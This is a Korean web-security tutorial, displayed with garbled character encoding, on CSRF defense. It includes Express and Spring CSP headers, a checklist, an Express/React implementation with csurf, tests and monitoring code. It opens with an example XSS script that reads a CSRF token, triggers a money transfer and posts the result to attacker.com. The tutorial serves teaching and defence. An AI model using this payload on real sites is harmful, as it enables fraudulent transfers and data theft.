// XSS ๊ณต๊ฒฉ ์คํฌ๋ฆฝํธ
<script>
// 1. CSRF ํ ํฐ ์ฝ๊ธฐ (Same-Origin์ด๋ฏ๋ก ๊ฐ๋ฅ)
const csrfToken = document.querySelector('input[name="_csrf"]').value;
// 2. ํ ํฐ์ ํฌํจํ ์ ์์ ์ธ ์์ฒญ ๋ณด๋ด๊ธฐ
fetch('/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify({
to: 'attacker',
amount: 1000000
})
})
.then(response => {
// 3. ์๋ต๋ ์ฝ์ ์ ์์!
return response.json();
})
.then(data => {
// 4. ๊ณต๊ฒฉ์ ์๋ฒ๋ก ๋ฐ์ดํฐ ์ ์ก
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
์ด๋ ๊ฒ ๋๋ฉด CSRF ํ ํฐ์ด ์์ด๋ ์์ฉ์์ด. ๊ทธ๋์ XSS ๋ฐฉ์ด๋ ํจ๊ป ํด์ผ ํด!
๐ก XSS ๋ฐฉ์ด ๊ธฐ๋ณธ ์์น
1. ์
๋ ฅ๊ฐ ๊ฒ์ฆ ๋ฐ ์ด์ค์ผ์ดํ
- ์ฌ์ฉ์ ์
๋ ฅ์ ์ ๋ ์ ๋ขฐํ์ง ๋ง ๊ฒ
- HTML ํน์๋ฌธ์ ์ด์ค์ผ์ดํ (<, >, &, ", ')
2. Content Security Policy (CSP) ์ ์ฉ
- ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ ์ฐจ๋จ
- ํ์ฉ๋ ๋๋ฉ์ธ์์๋ง ์คํฌ๋ฆฝํธ ๋ก๋
3. HttpOnly ์ฟ ํค ์ฌ์ฉ
- JavaScript์์ ์ฟ ํค ์ ๊ทผ ์ฐจ๋จ
- ์ธ์
ํ์ด์ฌํน ๋ฐฉ์ง
4. ์ถ๋ ฅ ์ ์ปจํ
์คํธ์ ๋ง๋ ์ธ์ฝ๋ฉ
- HTML ์ปจํ
์คํธ: HTML ์ธ์ฝ๋ฉ
- JavaScript ์ปจํ
์คํธ: JavaScript ์ธ์ฝ๋ฉ
- URL ์ปจํ
์คํธ: URL ์ธ์ฝ๋ฉ
// CSP ํค๋ ์ค์ ์์
// Express.js
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' https://trusted-cdn.com; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"font-src 'self' https://fonts.gstatic.com; " +
"connect-src 'self' https://api.myapp.com; " +
"frame-ancestors 'none'; " +
"base-uri 'self'; " +
"form-action 'self'"
);
next();
});
// Spring Boot
@Configuration
public class SecurityHeadersConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self' https://trusted-cdn.com; " +
"style-src 'self' 'unsafe-inline'"
)
)
);
return http.build();
}
}
๐ CSRF ๋ฐฉ์ด ์ฒดํฌ๋ฆฌ์คํธ
์ ์ด์ ์ ๋ฆฌํด๋ณด์! ๋์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ด CSRF ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ์์ ํ์ง ํ์ธํ๋ ์ฒดํฌ๋ฆฌ์คํธ์ผ ใ ใ ใ
โ ํ์ ์ฒดํฌ๋ฆฌ์คํธ
[ ] 1. CSRF ํ ํฐ ๊ตฌํ
- ๋ชจ๋ ์ํ ๋ณ๊ฒฝ ์์ฒญ์ ํ ํฐ ๊ฒ์ฆ
- ํ ํฐ์ ์ธ์
๋ง๋ค ๊ณ ์ ํ๊ณ ์์ธก ๋ถ๊ฐ๋ฅ
- ์ํธํ์ ์ผ๋ก ์์ ํ ๋์ ์์ฑ๊ธฐ ์ฌ์ฉ
[ ] 2. SameSite ์ฟ ํค ์์ฑ ์ค์
- ์ธ์
์ฟ ํค์ SameSite=Lax ๋๋ Strict ์ ์ฉ
- Secure ์์ฑ๋ ํจ๊ป ์ค์ (HTTPS)
- HttpOnly ์์ฑ์ผ๋ก XSS ๋ฐฉ์ด
[ ] 3. HTTP ๋ฉ์๋ ์ฌ๋ฐ๋ฅด๊ฒ ์ฌ์ฉ
- GET: ์กฐํ๋ง (์ํ ๋ณ๊ฒฝ ๊ธ์ง)
- POST/PUT/DELETE: ์ํ ๋ณ๊ฒฝ
- RESTful ์์น ์ค์
[ ] 4. Origin/Referer ํค๋ ๊ฒ์ฆ
- ํ์ฉ๋ ๋๋ฉ์ธ์์๋ง ์์ฒญ ์๋ฝ
- ๋ณด์กฐ ๋ฐฉ์ด ์๋จ์ผ๋ก ํ์ฉ
[ ] 5. ๋ฏผ๊ฐํ ์์
์ ์ฌ์ธ์ฆ ์๊ตฌ
- ๊ธ์ ๊ฑฐ๋: ๋น๋ฐ๋ฒํธ ๋๋ OTP
- ๊ณ์ ์ ๋ณด ๋ณ๊ฒฝ: ์ด๋ฉ์ผ ํ์ธ
- ๋ค์ธต ๋ฐฉ์ด ์ ๋ต
[ ] 6. XSS ๋ฐฉ์ด
- ์
๋ ฅ๊ฐ ๊ฒ์ฆ ๋ฐ ์ด์ค์ผ์ดํ
- CSP ํค๋ ์ค์
- HttpOnly ์ฟ ํค ์ฌ์ฉ
[ ] 7. CORS ์ค์ ํ์ธ
- Access-Control-Allow-Origin ์ ํ์ ์ผ๋ก ์ค์
- ์์ผ๋์นด๋(*) ์ฌ์ฉ ์์
- Credentials ํฌํจ ์ Origin ๋ช
์
[ ] 8. ๋ณด์ ํ
์คํธ
- ๋จ์ ํ
์คํธ ์์ฑ
- ์๋ ์นจํฌ ํ
์คํธ
- ์๋ํ ๋๊ตฌ ํ์ฉ (OWASP ZAP, Burp Suite)
[ ] 9. ๋ก๊น
๋ฐ ๋ชจ๋ํฐ๋ง
- CSRF ํ ํฐ ๊ฒ์ฆ ์คํจ ๋ก๊ทธ
- ๋น์ ์์ ์ธ ์์ฒญ ํจํด ๊ฐ์ง
- ์๋ฆผ ์์คํ
๊ตฌ์ถ
[ ] 10. ์ ๊ธฐ์ ์ธ ๋ณด์ ์
๋ฐ์ดํธ
- ํ๋ ์์ํฌ ๋ฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ต์ ๋ฒ์ ์ ์ง
- ๋ณด์ ํจ์น ์ฆ์ ์ ์ฉ
- ๋ณด์ ๊ณต์ง ๋ชจ๋ํฐ๋ง
๐ ์ค์ ๊ตฌํ ๊ฐ์ด๋: ์ฒ์๋ถํฐ ๋๊น์ง
์ ์ด์ ์ค์ ๋ก ํ๋ก์ ํธ์ CSRF ๋ฐฉ์ด๋ฅผ ๊ตฌํํด๋ณด์! ์ฒ์๋ถํฐ ๋๊น์ง ๋จ๊ณ๋ณ๋ก ์๋ ค์ค๊ฒ ใ ใ ใ
๐ Step 1: ์๊ตฌ์ฌํญ ๋ถ์
๋จผ์ ๋์ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ถ์ํด์ผ ํด:
// ๋ณดํธ๊ฐ ํ์ํ ์๋ํฌ์ธํธ ๋ชฉ๋ก ์์ฑ
const protectedEndpoints = {
// ๋์ ์ฐ์ ์์ (๊ธ์ ๊ฑฐ๋)
high: [
'POST /api/payment',
'POST /api/transfer',
'POST /api/withdraw',
'DELETE /api/account'
],
// ์ค๊ฐ ์ฐ์ ์์ (๊ณ์ ์ ๋ณด)
medium: [
'PUT /api/user/profile',
'PUT /api/user/password',
'PUT /api/user/email',
'POST /api/user/2fa'
],
// ๋ฎ์ ์ฐ์ ์์ (์ผ๋ฐ ์์
)
low: [
'POST /api/posts',
'PUT /api/posts/:id',
'DELETE /api/posts/:id',
'POST /api/comments'
]
};
๐ง Step 2: ๊ธฐ์ ์คํ ์ ํ
๋์ ํ๋ก์ ํธ์ ๋ง๋ ๋ฐฉ์ด ์ ๋ต์ ์ ํํด:
๐ก ๊ธฐ์ ์คํ๋ณ ๊ถ์ฅ ๋ฐฉ๋ฒ
์ ํต์ ์ธ ์๋ฒ ๋ ๋๋ง (SSR):
- CSRF ํ ํฐ (์ธ์
๊ธฐ๋ฐ)
- SameSite=Lax ์ฟ ํค
- ํ๋ ์์ํฌ ๋ด์ฅ ๊ธฐ๋ฅ ํ์ฉ
SPA + REST API:
- Double Submit Cookie
- Custom Request Header
- SameSite=Strict ์ฟ ํค
๋ง์ดํฌ๋ก์๋น์ค / API Gateway:
- JWT + Refresh Token
- API Gateway์์ ์ค์ ์ง์ค์ ๊ฒ์ฆ
- Rate Limiting
๋ชจ๋ฐ์ผ ์ฑ API:
- API Key + Secret
- OAuth 2.0
- Certificate Pinning
๐ป Step 3: ์ฝ๋ ๊ตฌํ
์ค์ ๊ตฌํ ์์ (Node.js + React):
// Backend (Express.js)
// server.js
const express = require('express');
const session = require('express-session');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
const helmet = require('helmet');
const rateLimit = require('express-rate-limit');
const app = express();
// ๊ธฐ๋ณธ ๋ณด์ ํค๋
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"]
}
}
}));
// Rate Limiting
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15๋ถ
max: 100 // ์ต๋ 100 ์์ฒญ
});
app.use('/api/', limiter);
// ๋ฏธ๋ค์จ์ด ์ค์
app.use(cookieParser());
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
// ์ธ์
์ค์
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
maxAge: 3600000 // 1์๊ฐ
}
}));
// CSRF ๋ณดํธ
const csrfProtection = csrf({
cookie: {
httpOnly: false,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict'
}
});
// CSRF ํ ํฐ ์ ๊ณต ์๋ํฌ์ธํธ
app.get('/api/csrf-token', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
// ๋ณดํธ๋ ๋ผ์ฐํธ
app.post('/api/transfer', csrfProtection, async (req, res) => {
try {
const { to, amount } = req.body;
const userId = req.session.userId;
// ์
๋ ฅ๊ฐ ๊ฒ์ฆ
if (!to || !amount || amount <= 0) {
return res.status(400).json({
error: 'Invalid input'
});
}
// ์ด์ฒด ์ฒ๋ฆฌ
const result = await transferService.transfer(userId, to, amount);
// ๋ก๊ทธ ๊ธฐ๋ก
logger.info('Transfer completed', {
userId,
to,
amount,
timestamp: new Date()
});
res.json({ success: true, transactionId: result.id });
} catch (error) {
logger.error('Transfer failed', { error: error.message });
res.status(500).json({ error: 'Transfer failed' });
}
});
// CSRF ์๋ฌ ํธ๋ค๋ฌ
app.use((err, req, res, next) => {
if (err.code === 'EBADCSRFTOKEN') {
logger.warn('CSRF token validation failed', {
ip: req.ip,
url: req.url,
method: req.method
});
res.status(403).json({ error: 'Invalid CSRF token' });
} else {
next(err);
}
});
app.listen(3000, () => {
console.log('Server running on port 3000');
});
ํ๋ก ํธ์๋ (React):
// Frontend (React)
// api.js - API ํด๋ผ์ด์ธํธ
import axios from 'axios';
class ApiClient {
constructor() {
this.client = axios.create({
baseURL: '/api',
withCredentials: true
});
this.csrfToken = null;
this.initializeCsrfToken();
}
async initializeCsrfToken() {
try {
const response = await this.client.get('/csrf-token');
this.csrfToken = response.data.csrfToken;
// ๋ชจ๋ ์์ฒญ์ ํ ํฐ ์๋ ํฌํจ
this.client.interceptors.request.use(config => {
if (['post', 'put', 'delete'].includes(config.method)) {
config.headers['X-CSRF-Token'] = this.csrfToken;
}
return config;
});
} catch (error) {
console.error('Failed to get CSRF token:', error);
}
}
async transfer(to, amount) {
try {
const response = await this.client.post('/transfer', {
to,
amount
});
return response.data;
} catch (error) {
if (error.response?.status === 403) {
// CSRF ํ ํฐ ๊ฐฑ์ ํ ์ฌ์๋
await this.initializeCsrfToken();
return this.transfer(to, amount);
}
throw error;
}
}
}
export default new ApiClient();
// TransferForm.jsx - ์ด์ฒด ํผ ์ปดํฌ๋ํธ
import React, { useState } from 'react';
import api from './api';
function TransferForm() {
const [to, setTo] = useState('');
const [amount, setAmount] = useState('');
const [loading, setLoading] = useState(false);
const [error, setError] = useState(null);
const [success, setSuccess] = useState(false);
const handleSubmit = async (e) => {
e.preventDefault();
setLoading(true);
setError(null);
setSuccess(false);
try {
await api.transfer(to, amount);
setSuccess(true);
setTo('');
setAmount('');
} catch (err) {
setError(err.response?.data?.error || 'Transfer failed');
} finally {
setLoading(false);
}
};
return (
<form onSubmit={handleSubmit}>
<h2>๊ณ์ข ์ด์ฒด</h2>
{error && (
<div className="alert alert-danger">
{error}
</div>
)}
{success && (
<div className="alert alert-success">
์ด์ฒด๊ฐ ์๋ฃ๋์์ต๋๋ค!
</div>
)}
<div className="form-group">
<label>๋ฐ๋ ์ฌ๋</label>
<input
type="text"
value={to}
onChange={(e) => setTo(e.target.value)}
required
/>
</div>
<div className="form-group">
<label>๊ธ์ก</label>
<input
type="number"
value={amount}
onChange={(e) => setAmount(e.target.value)}
min="1"
required
/>
</div>
<button type="submit" disabled={loading}>
{loading ? '์ฒ๋ฆฌ ์ค...' : '์ด์ฒดํ๊ธฐ'}
</button>
</form>
);
}
export default TransferForm;
๐งช Step 4: ํ ์คํธ
// test/csrf.test.js
const request = require('supertest');
const app = require('../server');
describe('CSRF Protection Tests', () => {
let agent;
let csrfToken;
beforeEach(async () => {
agent = request.agent(app);
// ๋ก๊ทธ์ธ
await agent
.post('/api/login')
.send({ username: 'testuser', password: 'password' });
// CSRF ํ ํฐ ๊ฐ์ ธ์ค๊ธฐ
const res = await agent.get('/api/csrf-token');
csrfToken = res.body.csrfToken;
});
describe('POST /api/transfer', () => {
it('should reject request without CSRF token', async () => {
const res = await agent
.post('/api/transfer')
.send({ to: 'user2', amount: 1000 });
expect(res.status).toBe(403);
expect(res.body.error).toContain('CSRF');
});
it('should reject request with invalid CSRF token', async () => {
const res = await agent
.post('/api/transfer')
.set('X-CSRF-Token', 'invalid-token')
.send({ to: 'user2', amount: 1000 });
expect(res.status).toBe(403);
});
it('should accept request with valid CSRF token', async () => {
const res = await agent
.post('/api/transfer')
.set('X-CSRF-Token', csrfToken)
.send({ to: 'user2', amount: 1000 });
expect(res.status).toBe(200);
expect(res.body.success).toBe(true);
});
it('should validate input parameters', async () => {
const res = await agent
.post('/api/transfer')
.set('X-CSRF-Token', csrfToken)
.send({ to: '', amount: -100 });
expect(res.status).toBe(400);
});
});
describe('Rate Limiting', () => {
it('should block excessive requests', async () => {
const requests = [];
// 101๊ฐ์ ์์ฒญ ๋ณด๋ด๊ธฐ
for (let i = 0; i < 101; i++) {
requests.push(
agent
.post('/api/transfer')
.set('X-CSRF-Token', csrfToken)
.send({ to: 'user2', amount: 100 })
);
}
const responses = await Promise.all(requests);
const blocked = responses.filter(r => r.status === 429);
expect(blocked.length).toBeGreaterThan(0);
});
});
});
๐ Step 5: ๋ชจ๋ํฐ๋ง ๋ฐ ๋ก๊น
// logger.js
const winston = require('winston');
const logger = winston.createLogger({
level: 'info',
format: winston.format.combine(
winston.format.timestamp(),
winston.format.json()
),
transports: [
new winston.transports.File({
filename: 'error.log',
level: 'error'
}),
new winston.transports.File({
filename: 'security.log',
level: 'warn'
}),
new winston.transports.File({
filename: 'combined.log'
})
]
});
// ํ๋ก๋์
์ด ์๋๋ฉด ์ฝ์์๋ ์ถ๋ ฅ
if (process.env.NODE_ENV !== 'production') {
logger.add(new winston.transports.Console({
format: winston.format.simple()
}));
}
module.exports = logger;
// monitoring.js - ๋ณด์ ์ด๋ฒคํธ ๋ชจ๋ํฐ๋ง
const logger = require('./logger');
class SecurityMonitor {
constructor() {
this.csrfFailures = new Map();
this.suspiciousIPs = new Set();
}
recordCsrfFailure(ip, url) {
const key = `${ip}:${url}`;
const count = (this.csrfFailures.get(key) || 0) + 1;
this.csrfFailures.set(key, count);
logger.warn('CSRF validation failed', {
ip,
url,
count,
timestamp: new Date()
});
// 5๋ฒ ์ด์ ์คํจํ๋ฉด ์์ฌ์ค๋ฌ์ด IP๋ก ํ์
if (count >= 5) {
this.markSuspicious(ip);
}
}
markSuspicious(ip) {
if (!this.suspiciousIPs.has(ip)) {
this.suspiciousIPs.add(ip);
logger.error('Suspicious IP detected', {
ip,
timestamp: new Date()
});
// ์๋ฆผ ์ ์ก (์ด๋ฉ์ผ, Slack ๋ฑ)
this.sendAlert(ip);
}
}
sendAlert(ip) {
// ์ค์ ์๋ฆผ ๋ก์ง ๊ตฌํ
console.log(`๐จ Alert: Suspicious activity from ${ip}`);
}
isSuspicious(ip) {
return this.suspiciousIPs.has(ip);
}
// ์ฃผ๊ธฐ์ ์ผ๋ก ๋ฐ์ดํฐ ์ ๋ฆฌ
cleanup() {
const oneHourAgo = Date.now() - 3600000;
for (const [key, timestamp] of this.csrfFailures.entries()) {
if (timestamp < oneHourAgo) {
this.csrfFailures.delete(key);
}
}
}
}
module.exports = new SecurityMonitor();
// 1์๊ฐ๋ง๋ค ์ ๋ฆฌ
setInterval(() => {
require('./monitoring').cleanup();
}, 3600000);
๐ฏ ๋ง๋ฌด๋ฆฌ: CSRF ๋ฐฉ์ด์ ํต์ฌ
์ ์ฌ๊ธฐ๊น์ง ์ฝ์์ผ๋ฉด ์ง์ง ๋๋จํ ๊ฑฐ์ผ ใ
ใ
ใ
์ด์ CSRF ๊ณต๊ฒฉ๊ณผ ๋ฐฉ์ด์ ๋ํด ๊ฝค ๋ง์ด ์๊ฒ ๋์ ๊ฑฐ์ผ.
๋ง์ง๋ง์ผ๋ก ํต์ฌ๋ง ์ ๋ฆฌํ๋ฉด:
โ ๊ธฐ์ตํด์ผ ํ ํต์ฌ ํฌ์ธํธ
1. CSRF๋ ์ฌ์ฉ์์ ๊ถํ์ ๋์ฉํ๋ ๊ณต๊ฒฉ
- ์ฌ์ฉ์๊ฐ ์๋ํ์ง ์์ ์์ฒญ์ ์คํ์ํด
- ๋ก๊ทธ์ธ ์ํ๋ฅผ ์
์ฉ
2. ๋ค์ธต ๋ฐฉ์ด๊ฐ ์ต์
- CSRF ํ ํฐ (ํ์)
- SameSite ์ฟ ํค (ํ์)
- Origin ๊ฒ์ฆ (๊ถ์ฅ)
- ์ฌ์ธ์ฆ (๋ฏผ๊ฐํ ์์
)
3. ํ๋ ์์ํฌ ๊ธฐ๋ฅ ํ์ฉ
- ์ง์ ๊ตฌํ๋ณด๋ค ๊ฒ์ฆ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ
- ๋ณด์ ์
๋ฐ์ดํธ ๊พธ์คํ ์ ์ฉ
4. XSS ๋ฐฉ์ด๋ ํจ๊ป
- XSS๊ฐ ์์ผ๋ฉด CSRF ๋ฐฉ์ด ๋ฌด๋ ฅํ
- ์
๋ ฅ๊ฐ ๊ฒ์ฆ, CSP, HttpOnly ์ฟ ํค
5. ํ
์คํธ์ ๋ชจ๋ํฐ๋ง
- ์๋ํ๋ ๋ณด์ ํ
์คํธ
- ์ค์๊ฐ ๋ชจ๋ํฐ๋ง ๋ฐ ์๋ฆผ
- ์ ๊ธฐ์ ์ธ ๋ณด์ ๊ฐ์ฌ
์ฌ๋ฅ๋ท ๊ฐ์ ํ๋ซํผ์ ์ด์ํ๊ฑฐ๋, ์ด๋ค ์น ์๋น์ค๋ฅผ ๊ฐ๋ฐํ๋ ๋ณด์์ ์ ํ์ด ์๋๋ผ ํ์์ผ. ํนํ ์ฌ์ฉ์์ ๋์ด๋ ๊ฐ์ธ์ ๋ณด๋ฅผ ๋ค๋ฃจ๋ ์๋น์ค๋ผ๋ฉด ๋๋์ฑ ๊ทธ๋ ์ง ๐ฐ
CSRF ๋ฐฉ์ด๋ ํ ๋ฒ ์ค์ ํด๋๋ฉด ํฐ ๋
ธ๋ ฅ ์์ด๋ ์ง์์ ์ผ๋ก ๋ณดํธ๋ฐ์ ์ ์์ด. ์ด๊ธฐ์ ์ ๋๋ก ๊ตฌ์ถํด๋๋ ๊ฒ ์ค์ํด!
๋ณด์์ ๋์ด ์๋ ์ธ์์ด์ผ. ์๋ก์ด ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ด ๊ณ์ ๋์ค๊ณ , ๊ทธ์ ๋ํ ๋ฐฉ์ด ๊ธฐ๋ฒ๋ ๋ฐ์ ํ์ง. ๊ทธ๋์ ํญ์ ์ต์ ๋ณด์ ํธ๋ ๋๋ฅผ ์ฃผ์ํ๊ณ , ์ปค๋ฎค๋ํฐ์ ๋ฒ ์คํธ ํ๋ํฐ์ค๋ฅผ ๋ฐ๋ผ๊ฐ๋ ๊ฒ ์ค์ํด.
์ฌ๋ฅ๋ท์์ ๋ณด์ ๊ด๋ จ ์ฌ๋ฅ์ ๊ฑฐ๋ํ๋ ๊ฒ๋ ์ข์ ๋ฐฉ๋ฒ์ด์ผ ใ
ใ
ใ
์ ๋ฌธ๊ฐ์ ๋์์ ๋ฐ์์ ๋์ ์๋น์ค๋ฅผ ๋ ์์ ํ๊ฒ ๋ง๋ค ์ ์๊ฑฐ๋ . ๋ณด์ ๊ฐ์ฌ, ์นจํฌ ํ
์คํธ, ์ฝ๋ ๋ฆฌ๋ทฐ ๊ฐ์ ์๋น์ค๋ค์ด ์์ผ๋๊น ํ์ํ๋ฉด ํ์ฉํด๋ด!
์ ์ด์ ๋๋ CSRF ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ์์ ํ ์น ์ ํ๋ฆฌ์ผ์ด์
์ ๋ง๋ค ์ ์์ ๊ฑฐ์ผ. ํ์ดํ
! ๐
๐ก๏ธ ์์ ํ ์น ๊ฐ๋ฐ, ์ง๊ธ ์์ํ์ธ์! ๐ก๏ธ
๋ณด์์ ์ ํ์ด ์๋ ํ์์ ๋๋ค. CSRF ๋ฐฉ์ด๋ก ์ฌ์ฉ์๋ฅผ ๋ณดํธํ์ธ์!
๊ด๋ จ ํค์๋
๋๊ธ ์์ฑ
์ด ๊ธ์ ๋ํ ์ฌ๋ฌ๋ถ์ ์๊ฐ์ ๋ค๋ ค์ฃผ์ธ์
๋ก๊ทธ์ธ์ด ํ์ํฉ๋๋ค
๋๊ธ์ ์์ฑํ๋ ค๋ฉด ๋จผ์ ๋ก๊ทธ์ธํด์ฃผ์ธ์.
๋๊ธ 0
์ง์์ธ์ ์ฒ - ์ง์ ์ฌ์ฐ๊ถ ๋ณดํธ ๊ณ ์ง
์ง์ ์ฌ์ฐ๊ถ ๋ณดํธ ๊ณ ์ง
- ์ ์๊ถ ๋ฐ ์์ ๊ถ: ๋ณธ ์ปจํ ์ธ ๋ ์ฌ๋ฅ๋ท์ ๋ ์ AI ๊ธฐ์ ๋ก ์์ฑ๋์์ผ๋ฉฐ, ๋ํ๋ฏผ๊ตญ ์ ์๊ถ๋ฒ ๋ฐ ๊ตญ์ ์ ์๊ถ ํ์ฝ์ ์ํด ๋ณดํธ๋ฉ๋๋ค.
- AI ์์ฑ ์ปจํ ์ธ ์ ๋ฒ์ ์ง์: ๋ณธ AI ์์ฑ ์ปจํ ์ธ ๋ ์ฌ๋ฅ๋ท์ ์ง์ ์ฐฝ์๋ฌผ๋ก ์ธ์ ๋๋ฉฐ, ๊ด๋ จ ๋ฒ๊ท์ ๋ฐ๋ผ ์ ์๊ถ ๋ณดํธ๋ฅผ ๋ฐ์ต๋๋ค.
- ์ฌ์ฉ ์ ํ: ์ฌ๋ฅ๋ท์ ๋ช ์์ ์๋ฉด ๋์ ์์ด ๋ณธ ์ปจํ ์ธ ๋ฅผ ๋ณต์ , ์์ , ๋ฐฐํฌ, ๋๋ ์์ ์ ์ผ๋ก ํ์ฉํ๋ ํ์๋ ์๊ฒฉํ ๊ธ์ง๋ฉ๋๋ค.
- ๋ฐ์ดํฐ ์์ง ๊ธ์ง: ๋ณธ ์ปจํ ์ธ ์ ๋ํ ๋ฌด๋จ ์คํฌ๋ํ, ํฌ๋กค๋ง, ๋ฐ ์๋ํ๋ ๋ฐ์ดํฐ ์์ง์ ๋ฒ์ ์ ์ฌ์ ๋์์ด ๋ฉ๋๋ค.
- AI ํ์ต ์ ํ: ์ฌ๋ฅ๋ท์ AI ์์ฑ ์ปจํ ์ธ ๋ฅผ ํ AI ๋ชจ๋ธ ํ์ต์ ๋ฌด๋จ ์ฌ์ฉํ๋ ํ์๋ ๊ธ์ง๋๋ฉฐ, ์ด๋ ์ง์ ์ฌ์ฐ๊ถ ์นจํด๋ก ๊ฐ์ฃผ๋ฉ๋๋ค.
์์ง ๋๊ธ์ด ์์ต๋๋ค.